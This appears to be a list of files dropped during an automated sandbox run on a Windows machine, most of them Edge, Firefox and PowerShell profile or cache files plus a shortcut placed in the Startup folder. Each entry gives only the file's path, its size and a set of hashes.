SHA1 0e3606e15641fe63541a107ede81e23a9315bc98
SHA512 db9bf7367baafd3311da58ac673ef0cf453c9cdd25fef663f9e29f22b194147300a1306124418c5d3595994400bec58c083386000306159ba72e9d3fb635cdec
SSDEEP 768:Prv+4UNbdi3d31vDZIO0NSIZQNzc4ReyIsPjeVH1S5F:PbsbI3dtc44bsrEH1W
TLSH
T1DF13CF32AC689977ACF6A686B44736137EF8511BC1C81E94C4DD6F4C0A8B1DD131F927
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 ced10e11a3d4ee295e51c8b7214c41dcd9b98c79adf2770a0e21c014d85e8326
MD5 8c07d52a7d594e9ce8c8b0576e17699d
SHA1 2a7e9df50a661304dc600d43091f125daae00cbb
SHA512 a367d356a303a24f4bf6640378aef4c4dfefc8f6db982dc330d39eeeb6b39ac4f763f9239cc046e47368a7a4cee0c35e6f72de19e12e76dbc8e2c56085c4d266
SSDEEP 768:9rv+4UNbdi3y31vDZIO0NSIZ3Nzc4ReyIsPjR3L:9bsbI3jtc44bsrl
TLSH
T14303BE32AC28A973ECFA9686F40736037EF4515B81C91E94D9DE6B4C0A8B1ED131B913
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 9e7fa27d9784ca89ffd1426c3474da185a0ad1ea2730c83bf09c5edeeecfbd52
MD5 6b5d1276672ba5432c6510a07b56e26b
SHA1 f93dac7dff024fe07aad253b5a071ac914b3d7ba
SHA512 153ff691101fc89661700ec533479bccd04f1189eb5be4ac85b9676879dea90146cfd963c22acfe3e35f9edf5c8d52fc6599edf5421e32cb2d8c854037cd52d3
SSDEEP 768:HF0rv+4UNbdi3wwgb3vvDZIO0NSIZBNzc4ReyIsPjR3L:GbsbI3/tc44bsrl
TLSH
T12813AE32AC68DA77ECFA9B86F50A3203BEF441A7C1C569A4D6DD6E4C064B0DD131BD12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 811d0e345c2b14b9122515d8d2b5cd68f99274ea91860bc9c58bdaa4a9e6ece6
MD5 e9d9d1ec14e54dbb5e8fb5aa826d2f66
SHA1 423e29afacc8f31899372161e7b5aadcc78ac405
SHA512 a29b645a092cc4aa276aea5efd1d6cbddd6b5bcdbb421d76c3eb64d466b2d5af60ba3196068a72d8e05d43cc66c26cac0afdfdc8e0034950371fa53a6701161a
SSDEEP 768:HFQY3wwgb3vuZQ5O0NSIZBNzc4ReyIsPjhy6Dq9:aY30tc44bsrTe
TLSH
T1DA038C36D8A4DA7BACEA97C6F6063642ADF04167C2DCADD4D6DDAE4C04871ED030BC16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 40KB
SHA256 adb92c4a726c67541dc9471eea69a7f67300e3f020199ece544d758b5afa4c15
MD5 8ea0a6622e365fdecac5accd0c40ffb8
SHA1 483384e365a7c9ea86ffd0e275b3dc6a962cd5d9
SHA512 bf87f0886bc579bcc5478a07b4c51daf5c6e7ea371f433c89a8135479cdb86c18540c3dbc14ce5942f87eaaf455311ad8a2f24ed95e814e7171a93212f7747cf
SSDEEP 768:brv+4UNbdi3J31vDZIO0NSIZ3Nzc4ReyIsPjeVH1S5F:bbsbI3+tc44bsrEH1W
TLSH
T1A313CF32AC689973ACF6A686B54736133EF4511BC1C81E94C4ED6F4C0A8B1ED131FA27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 944aa285c85bf3c6517256718cde4fb68780021b243ca73b6ece7b7c8e623e6f
MD5 6e2d8bf0fca3f3472a687b6084d85faa
SHA1 a27bd46becc81b4a9ba9d029eb9894a666a68977
SHA512 59f4d5ab3ceaa2e3869d61ad57c2ea269dfc70f43f3ee094295e5698f348b8d4ad1b6b30b1c16631494e36913a1cacf618ec3307c994ef15f1de9c600bd6ed09
SSDEEP 768:6rv+4UNbds3BLDZIO0NQNzc4ReyIsXbeVH1S5D:6bsbS3Dtc44bsLEH1Y
TLSH
T1E703CF32EC689977ACF6A786B54776133EF8912782D81E90C5DD6F0C4A8B1DD130B923
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
Size 153KB
SHA256 299ff2b88f972402bfeaa0a772d457de7c8a5aa8498cacd924345cb79aac18ce
MD5 c4a20d073fe58488935da829aae6fa17
SHA1 dbd31aa3dcd1abd3d554d29a9bca83bab02709d5
SHA512 61f74480d3471180f14e2171be6f5e33ab0a03a7a4837334695556a9484da1a862cc059969834d4950a038ec97f192805e5e718cd2a280aba675bdc9cee5d976
SSDEEP 3072:C0qfZ9r+hy+exmKhRts8o7SYbyqNDri8EBalnQt9RaBoAkaX2Ns:C0qfZ9r5msvoOGi8QQQbRwxmNs
TLSH
T126F3E02D6EDEC956CC0F61F96F29724BC50A4F0B818B648B624E881958F434E17E29FD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

7ec41e72-3b80-4f37-a844-c0678d6aabba.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\7ec41e72-3b80-4f37-a844-c0678d6aabba.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 132B
SHA256 ea13d57b11af249f90704dbcafd354c5e80b10358db7edb9eaf8f6fd597eb1d4
MD5 ae3a19c226264ff6cb64877f1e7e7243
SHA1 f993431dbd09200fd92b7a04ee6711a54ad95cc9
SHA512 97e5dbf0663585afbb5e0f2b5a36192624eb2c898462abef65225987df632d30f74f05ac5a71175c4c59f75d9ae6d2e640d168e479cb26b9a6857c71efda029a
TLSH
T1C1C02B85CB1E0C854E78153D48420B2727819F0030508534445A490C41741CE00888CF
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c6cb56933768c98c0f5b8751481244db40bcd6a9c092933eb3acd9078dda7044
MD5 bcdb738739526594debf1c196b23ba94
SHA1 32ad6eb9e9943b3807ba52044ec4ebcf7c1c1d29
SHA512 d1e2949097f49d80599e815f8d3851e1aa9a5f5084127f326fdc09f9dae1169216224a80f6b0ffc2b2fc3d11d201da914871b8becfef4e018adc6f6c98ea9cad
TLSH
T1BE215733F3CC8624DC9A403A50CEAC1136B687DB409ECE6BBB84D558B42F289DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7778e3c0960eac5fa1f0f93871cc43b77d5bae152614ed02b10f0319560a0500
MD5 f4ee75fed97e37f471be9fdad727103a
SHA1 f726d3b40b0283e33be5699c8c718ee81ff0aec1
SHA512 e55829243bb1453a0697968c81f165e2bf1bd947d393e4962ae68d892a6a892e6a3b5820b0de7d6421383ef61ff104f671c4e2bde275ae3369c7c715a8c65bbb
TLSH
T181115733B3CC8624CC9A403650CEAC1036B587DB509EDF6BB784D149B83F599DE61260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 070e2dc002fee5d6c6ae0611713bb24a9f01d741d964e7f1ece4f61789724a94
MD5 95e9928464a1f3425068f7e64a74060a
SHA1 9bdbd59bea34afd0aebf4d0c3d3cfe0317aa4d57
SHA512 a150525324ebe4a0dc28577f089c1f45ef0902355ecd9d5f10c91d45fe57d44d09c6d133a92c3f32dca0c73b97b259d5ad7ff4316edafa2cb00e38d64e043f06
TLSH
T1E9216833F3DD8654C899413A10CEAC1035B7C7DB40DECEDB6B84D559A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 858acdb8676d64845c57816b4a70cbba05c24841677e899c3325cc692f03f82e
MD5 4ff9d2122a91f2e89bedb050b5a500f3
SHA1 e7926544cde8082758b9dea941a45382fa764043
SHA512 b670bf83d9a17e2001f796914ba6b3471d41408f797072546e5572c14a8167076807fd88f31950e52dcbf804a4456c6c6e6f68d007cc7f44825b36a9c9162c29
TLSH
T1B7115733F3CC8664D89A413650CAAC1036B7C7DB409EDE9BAB84D559B42F685CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

4E3D8FAAF804AAC616BC48BD4AFA8BE284516FCF

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\fiyrtffj.default-release\cache2\entries\4E3D8FAAF804AAC616BC48BD4AFA8BE284516FCF
Size 16KB
SHA256 4a5f8a9ecf68a28b74ac5982a9047c75baffe3ca140efd84056b910e736872c3
MD5 b35dabb78e2e3f1cfae115b8b574f575
SHA1 61acb2fa78cb3cc73d336eaea95063fd949ce819
SHA512 e55da6c5a5989e339389ac88c2c454265ce8d1e9fcc9dc38da2d0c5ffbc9a1bb875bf305c8780b1cd066344ce16f1807137df73123be80f3e92a46bf08b179a5
SSDEEP 384:HwCe7iO024YsDL84KKDL849B7SOEAd9KVRaAcP+AWRMAaGl:QqZYsDL8lKDL8CB7S/AmVAf+hRMRGl
TLSH
T142728D7E9F413CAC1997C0E8C5F892D94C18B6A7CFE6806D21683D0DC798969B1F548F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

90C75488977C1BCA1B0123151009F7D3E32F1369

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\fiyrtffj.default-release\cache2\entries\90C75488977C1BCA1B0123151009F7D3E32F1369
Size 208KB
SHA256 83d0e700140d3025fdc07f716c39107956d3a65af0fc5d2df883bc02183855c0
MD5 b5a7d23e3e8308a12244ca0c1b1352e2
SHA1 6365b5e71de102b62939b2830a49c812db9b8bcd
SHA512 cd5b1025da7b0bb07c01571bb4d3a31fb05f5c477341592173ee1f68de88e3beaccbe1ffbbc72addd9c17f809d28b466ee9f4dd9ba96af025787ee40f1d154f4
SSDEEP 6144:/FkLSLbP1+mOcFn+z4diRFjNCbuenb7oL:/qeHPwfcFDcfL
TLSH
T15024023B4FC139A8C586D9F3543EE2997D16CF97AB319ACA3642399AD3307C19B1500B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

webext.sc.lz4

Path C:\Users\Admin\AppData\Local\Mozilla\Firefox\Profiles\fiyrtffj.default-release\startupCache\webext.sc.lz4
Size 104KB
SHA256 b878d40a4532258e290d2a8b70ed5e651ba38fdcc4aa090ebc9ed3db3af511b4
MD5 7e69aade64de850c431cb2501b3e563f
SHA1 286804e54339a6e3d81e6f9f1f44ba648ff2cdeb
SHA512 bc8fbc65b2dd18681e28ecf0f0920e2c230b71a6d0c5297f2cd4e6147763a7d0d5eb0d58ceff68dfce94a17cb65d1160c2333c623231741dbe0b7228cfc3c502
SSDEEP 3072:j3l5opKD3herW6vOOIXvAjORn6HTnIHDSy:p5FD38DvOD/AjGsTnIHDSy
TLSH
T16FA3AFB6DBA2C97959FFD41CA7C2C83EF8272854B3A33009C913725561C6FB87678648
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

520f45a1-6b60-4e89-88c3-1c79f80499ea.tmp

Path C:\Users\Admin\AppData\Local\Temp\520f45a1-6b60-4e89-88c3-1c79f80499ea.tmp
Size 1B
SHA256 cdb4ee2aea69cc6a83331bbe96dc2caa9a299d21329efb0336fc02a82e1839a8
MD5 5058f1af8388633f609cadb75a75dc9d
SHA1 3a52ce780950d4d969792a2559cd519d7ee8c727
SHA512 0b61241d7c17bcbb1baee7094d14b7c451efecc7ffcbd92598a0f13d313cc9ebc2a07e61f007baf58fbf94ff9a8695bdd5cae7ce03bbf1e94e93613a00f25f21
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_glp1cuup.ncd.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_glp1cuup.ncd.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 11KB
SHA256 ddf3ba4e25a622276755133e0cce5605b83719c7cab3546e09acbfed00d6a986
MD5 25e8156b7f7ca8dad999ee2b93a32b71
SHA1 db587e9e9559b433cee57435cb97a83963659430
SHA512 1211b2fa997ba13ff926aec58b6b35a81d7fe108b0caa8f4d6369d0a37f8481373b78a4b201651243adde9e2b2699ce929482a46226ff6299b0a0e40fe2ddc56
SSDEEP 192:96jbMOTaRNUB3K7L7KqRUGcW9KK+DOO4L5h3tCw0RZvjUFV3bXFwo10+H99uhNA:kjbMegNp7L7KCopFDUtCZvjU73zqFiu0
TLSH
T12A32AFAB081F8454EFA710F628B670CFA1BA95B4067C2B1E9B1819855809BD0C5D2EDD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

tmpaddon

Path C:\Users\Admin\AppData\Local\Temp\tmpaddon
Size 502KB
SHA256 87862f4bc8559fbe578389a9501dc01c4c585edb4bb03b238493327296d60171
MD5 e690f995973164fe425f76589b1be2d9
SHA1 e947c4dad203aab37a003194dddc7980c74fa712
SHA512 77991110c1d195616e936d27151d02e4d957be6c20a4f3b3511567868b5ddffc6abbfdc668d17672f5d681f12b20237c7905f9b0daaa6d71dcdac4b38f2448b2
SSDEEP 12288:OACaeJXLVL+PLlSuxcewdMCx1uSremBgBohJmiixAzph3yZeErb:OltBL+PLQFZBgBo2xAzpsrb
TLSH
T199B423CCB77B7628D37A9C7BC257D4F853E9CA2B56423CE80C4E018D6540AB136963E6
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

VortexVr.lnk

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\VortexVr.lnk
Size 1KB
SHA256 b1eee80a98dbbd60cbcb378cd54dbbf9c54cc3cd765c406b1040ce2a4553df01
MD5 c073572f3cd96ff9f196a2652ccfa02d
SHA1 4eedddf7470eb1d531f69c48a69886428a91b27e
SHA512 0cce9f2e2c81ece3233547a965c3d3fd19f7738e0999b9c865b0e0a8b384f015cfb23ef3384fb1f5ba45bc06ca607825a93d8d46faeb1f0f7257d2a7e057b6be
TLSH
T1AD11001D1D861F13CA5E8A3301DB7225DB36FD52FBA29F1D0090938A15A1682BE01F1E
MD5 SHA1 SHA512 TLSH

Submit Download

SiteSecurityServiceState.bin

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\SiteSecurityServiceState.bin
Size 2KB
SHA256 64aa92537ba8396f711f38c9b34083b98e229fd41c000f39f9eeb2a2fb5c0568
MD5 665677542fbf8940886bfb9d33571856
SHA1 eebf532781e9c9ce13eb1d7d6962c3695ed695ca
SHA512 77dc62ffb21d8b7aaf9a71ebf572125b8894b6ad0db25d39d4c14258f50afcb8b9fad901973c0164f15d484a389a903c46954c38185fc3d0e78e5c316f6dd788
TLSH
T1FF4130335A9AC516F1B04A3067AE55523C36234341B6E094BD756ED63044EAE21FA251
MD5 SHA1 SHA512 TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\db\data.safe.tmp
Size 66KB
SHA256 0fd30406f804f50f3d0d7065bc97774592c8560888e2d01d96ef834429d36ee3
MD5 0ca7b3dfa5a36f8250cf24e24d1cf2ff
SHA1 c8acc8f8f8e1961bfca71bae2cbd8d2046e61731
SHA512 879cd2f17557b226481bab9a0da271b1c38f38a8af0a42a88892a8edec9278b809e6f142d70f2d14cef640f80bf63e8593efb02fde552accad88d61251523dda
SSDEEP 1536:Jem/oDuqWPtmSUt56N1NEZAlbl3vzJp9EBh6re2Fib:JeuHbgS9H9F1LJAaapb
TLSH
T132632344EB1E953FD82802BAAC961B143F39F8894A1A2F5B375C54782C873DD3D4E16E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\db\data.safe.tmp
Size 5KB
SHA256 b937bdafecde89341da42997a43ad4a4b70fb7d67c1410e5fc2298f7e0760792
MD5 4ef56f0c7f8957ff18160f26c0203b84
SHA1 7da0fddfd38cdb8d41853c80902fcd96ba3e864c
SHA512 bb4c91f69c9c6f0429624f52c910fbe15e8782e278af66a5117e8a1735a926f0625b0752072433d946f15e12b76244ccc819897fc6c6d95decbcddfac3721864
SSDEEP 96:tFRF2F+MCF+OF+Q+ba/dd66JoztdzgClKtmc0d/UUEe/pSdF95/7bkW6ArcEC9yl:Byla1d66JoztdzgCl6mc0dqSOv5zbo8/
TLSH
T1C8C1CC24E729863FC449423BDCB51F410E76384BE88E7F1535EC64092D562DE7A8E17E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\db\data.safe.tmp
Size 66KB
SHA256 8d6c371cb32f22907fe96e2357035aa99590a7d226de6e24419bc8462cc76b41
MD5 c7b394b725a9a85ee6f2d1ae6b9a86f3
SHA1 d64aa4bc2e4fd74a7513dd3bce072e2216016922
SHA512 fb2b1eb1a92b4119db1ec77be679f98d71a5a3272d352f03970c3c13597874742b861d14f034bff3a3d13297f4c55713c981bb4e59064ca7615194c8402c3e94
SSDEEP 1536:ZWem/oDuqWPtmSUt56N1NEZAlbl3vzJp9EBh6re2FR:ZWeuHbgS9H9F1LJAaaS
TLSH
T1B9632344EB1E953FD82802BAAC961B143F39F8894A1A2F5B375C54782C873DD3D4E16E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 b182455a9b554a238131c16dbd22a0d68cd81adc32685c280823cddb98ee9117
MD5 d1ad08d52975fe3f2681b71f8a1f55b6
SHA1 06ca1c8a213a1643ea11f5dceb7f916c71a9c6e0
SHA512 56564e21c0eb2704df9085ae036fec9f8f92d0205a78b2d609df85fa7bcbcab6cc527b8c56f41a71f5341268cfd8898acabe0019265608d0cf2a67efa669e851
SSDEEP 192:Kyla1d66JoztdzgCl6mc0dvSOv5zbo7bZC9yjHsc:jlEd66Joz/zgC1jJRboXZC9yjH
TLSH
T131E10D64EA29863FC444027BDCA62F814F39388AD84E3F1935ED64182D572DE778E1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

data.safe.tmp

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\db\data.safe.tmp
Size 7KB
SHA256 f09e89b8ce883ee761613332e271703dadd334fd7117e343fb745c78c36861fb
MD5 ee802518a00ff0bd1f854afbb3fdf20e
SHA1 32e04db5713a0aa2855a8f64df822625002f2852
SHA512 6e1f3433cf3183cd80b14c07663ecb3be0531a52bfd0d221d230cecfbdc41eaf68179d1fccaa2aec5e5e185fbf3794e81f4b591b36c0df463959f65a5d22721d
SSDEEP 192:tSOv5zbo7oC9yjHscVyla1d66JoztdzgCl6mc0d:tRboEC9yjHalEd66Joz/zgC1j
TLSH
T135E10E64EB29863FC444027BDCA61F414F39385AE84E3F1935EC64182D572DE768E1BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

events

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\events\events
Size 1KB
SHA256 a1f6e418936ced54b9e3b9848691c47bdcaff5cd846e302e7b60e85b85ae7431
MD5 fb9c796fc1eb5a6ba857dd9ac305d6ad
SHA1 0af81644efd511e2019357d66caa0a90e3681699
SHA512 c9b3a5c07a87f3da275242b880cba8c5410b9a2bd74aaf77b6992353d1290c8eb361d866b76948ceb3ec5a30b72d9157afff284c26f7d0a22439690a0b750e67
TLSH
T1A411665C78B98D6A9DC7F3AC7889028E63158F4745871D434D12EFCCCE80ADD326A839
MD5 SHA1 SHA512 TLSH

Submit Download

4e1eabc0-9544-4bbc-aff2-edf9966d28f6

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\pending_pings\4e1eabc0-9544-4bbc-aff2-edf9966d28f6
Size 883B
SHA256 a1e58952e2673e1c26b6cb5ffe854fc8a8aca066142c6655f75269cfda547630
MD5 cd04e416e50dc8831f95fbc0adb5b919
SHA1 a326d261fb6e6c2469a3e1a8f60449f70d102af6
SHA512 088cb180b3d987f8cbc992a89887c29a53af677489c812a13379a0924e47e741cbbc28e23fc2e9107e42b7eae9c673cf5ed676e8ee2eed02fe29bcb305d9f1e0
TLSH
T197112741D739B5B2CD78C24BC9A53B4687E47417C0C754143DE45A04493E51F97BB64B
MD5 SHA1 SHA512 TLSH

Submit Download

89c1d18e-530a-4bbe-b739-f766800b6a76

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\pending_pings\89c1d18e-530a-4bbe-b739-f766800b6a76
Size 235B
SHA256 5842d2e2f81e98ae61125b0190103a3c4872802e9d9d24e5cd363bb639cefa62
MD5 143a537d3a7ba81a6161fc456ac20a83
SHA1 e99d31dc42db61b8bfa0a80099e2c38b80d41ac0
SHA512 161886e84778c01fca0c8a392f515af22b5843e7af9ac4d896abd7b05bfcb695fe11907673aaec69294d4b8f9f2f05cef2447dd13bdbb63d38bea21d4ff1ec33
TLSH
T151D097C05898632D08082F0AF0E2A9CA30844C3BA1FC5860D6500878E9F9AC80152C2B
MD5 SHA1 SHA512 TLSH

Submit Download

9aa5c333-2ac6-48fa-aadd-5dc67e7c6e79

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\pending_pings\9aa5c333-2ac6-48fa-aadd-5dc67e7c6e79
Size 886B
SHA256 9c4880ece63139e3a880e36c8c1c37a429d8776ce310ccfda34e83cd704cc628
MD5 80055f4dc9404841d860207e29458cb8
SHA1 294fdc83d3308d87daaca067ccddfbe63ceeff01
SHA512 d189b850ca8601f69f18dad2b0033ad6be140528dd2eada2407df32707d7f09b8f913cf95fc0f9d87b350b4b2f019ee8ab78843beced7c72d0b23fb4b19b5213
TLSH
T1421140408739B5B2CC78D24B99E47B8387D43017C0C608047EE06A180DBA11EB7B7B0A
MD5 SHA1 SHA512 TLSH

Submit Download

b4efeb3a-55eb-495d-810c-161af38d4755

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\pending_pings\b4efeb3a-55eb-495d-810c-161af38d4755
Size 2KB
SHA256 1e1bd75583fe16523129d4b50f4619bd5ee3abb25401a40f2f92ad23761604c6
MD5 8660151424cd9b06a565cab3211f0e0b
SHA1 cae2b8b98b5b0603b4ad49e933fa25ba0ee36ee0
SHA512 fb3d4943a90482a100d895256a83a46c1140c937f8d60f4a576741b238a66d2bfed068c12269e85d0356c27b5fdfa52104d78de50559003ce2ed305ac81c3ace
TLSH
T19D41315C35784E769CDAF29D948237CE93249A1340C32C432E51EF0CCEA669E236A42F
MD5 SHA1 SHA512 TLSH

Submit Download

c86770ef-726a-4d5f-8c0e-a3e190baa278

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\pending_pings\c86770ef-726a-4d5f-8c0e-a3e190baa278
Size 16KB
SHA256 84362612cdaa1a4028be9eab5e79d05460222c64ed3ed6bf2cfebb883ee98500
MD5 41e9169c05d677e2d8c27ad04b5da9fc
SHA1 eed6cdb63740e650cbe1190654e3d651d16c01aa
SHA512 2f4db8a95b074eaf1e7be223270afbc8cf13c5eebccb0a27c9e0b562668ccc939233e6be4015bd1907893839e25a44ba478caad7f8d85c7e81d7ecdd281851e5
SSDEEP 192:WtJcIVrzCVKtRimqeF6jLbYRvHMdnCZMMkhftYsXSIHiw0kJFViciWOwB2G1y1pz:6cIhGVKtRimq2IHqbWOwELz
TLSH
T1C472FB16686045BA85A1E3A894FC7FC3E2F538CF4C419FCA9BE4BD085DDE0AD112794B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cf9f05b3-098d-417d-9761-5cfce93cfab6

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\datareporting\glean\pending_pings\cf9f05b3-098d-417d-9761-5cfce93cfab6
Size 235B
SHA256 71fbb20092d93572afcfd4bd03d56dc0c2eedb353257e3975eba90c15647c475
MD5 e257aca4fd43d37a4ba20931236b9e2d
SHA1 6a917d3201626553463e1d749c0bd58e5dd408f0
SHA512 582ed31c0122b4341cca698644661c96b76d2d54e0889e0de72251b3163279e0f0ee31637571d60d48099fbb6e83356671113fe14056b5ae2a10c6337a6d1965
TLSH
T13ED097C024A8335D09001F07B0F06ADA308A8C3310645854DA7084B5E9F8DC80161C2A
MD5 SHA1 SHA512 TLSH

Submit Download

extensions.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\extensions.json
Size 16KB
SHA256 d02036b10d75ee7786b0ca207d7bce9dba2ad2fe8987c1c01d5b788d359e5cd6
MD5 3f54a4952e95d3afd4a2d0bb7007ad1a
SHA1 9e48b072d96f37b4e352ed86a6dc0cfd630061e2
SHA512 857393365eeba5351b4714a1c90f382665e8cc4d4d82d2da1a99a90a7ffc57a38ab0216501f8253432acb1e677f9bc58e41343959bf126b4f62e007b8010ffd5
SSDEEP 384:UkI4v2UmldvR8dhWZk94zP96ohL4H8L4PtL4H2L4HxL4HMu4hTx:7I4eRfiXi+4Z6C424l4c4J4L4b
TLSH
T1CB72541545048EB8294E979BAA367E02C37D473B60845C78F4DD8FC842FA5B902FB65B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.dll

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.dll
Size 1.1MB
SHA256 37c005a7789747b412d6c0a6a4c30d15732da3d857b4f94b744be1a67231b651
MD5 626073e8dcf656ac4130e3283c51cbba
SHA1 7e3197e5792e34a67bfef9727ce1dd7dc151284c
SHA512 eebdeef5e47aeadfeebdbab8625f4ec91e15c4c4e4db4be91ea41be4a3da1e1afeed305f6470e5d6b2a31c41cbfb5548b35a15fccd7896d3fde7cdf402d7a339
SSDEEP 24576:qSPda8zU7qNBLR+R1Uq6S/gCfTuP4PIKth58yS0fDrx1:xfeqNBR+cq6S+4QKtkyS0fv
TLSH
T159458D0AF2A641F8D41ED470966EA722FA79344C173568EF169587202F77BC0AB3EF14
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gmpopenh264.info

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\gmp-gmpopenh264\2.6.0\gmpopenh264.info
Size 116B
SHA256 fe7686a6281f0ab519c32c788ce0da0d01640425018dcffcfcb81105757f6fe6
MD5 ae29912407dfadf0d683982d4fb57293
SHA1 0542053f5a6ce07dc206f69230109be4a5e25775
SHA512 6f9083152c02f93a900cb69b1ce879e0c0d69453f1046280ca549a0301ae7925facdda6329f7ccb61726addee78ba2fffc5ba3491a185f139f3155716caf0a8d
TLSH
T101B092446843B0B1187682471D795AA55A79B782E022486D6E6F27E10784727476D4E4
MD5 SHA1 SHA512 TLSH

Submit Download

manifest.json

Path C:\Users\Admin\AppData\Roaming\Mozilla\Firefox\Profiles\fiyrtffj.default-release\gmp-widevinecdm\4.10.3050.0\manifest.json
Size 1002B
SHA256 2894996540fabbd346ed4ced8386ca77d6badf60372e307ee15c906c30340d0d
MD5 dcffff15fa618a53834ee4ae8673bd23
SHA1 87316c1f583f438b55e3b0a94783ff9dc8f177f7
SHA512 250c869c49c886306aa0362567cb1ccacae676f886a5b9206ce77fb92acf3af16bd574e80d01e0f97f031d6f00710af8f82c176df51994dcfb51153bed3cee46
TLSH
T139115B00DD388DD326D4BAA21CD6580A97661DAF5CC23E94379E161D8F1C8AB937376C
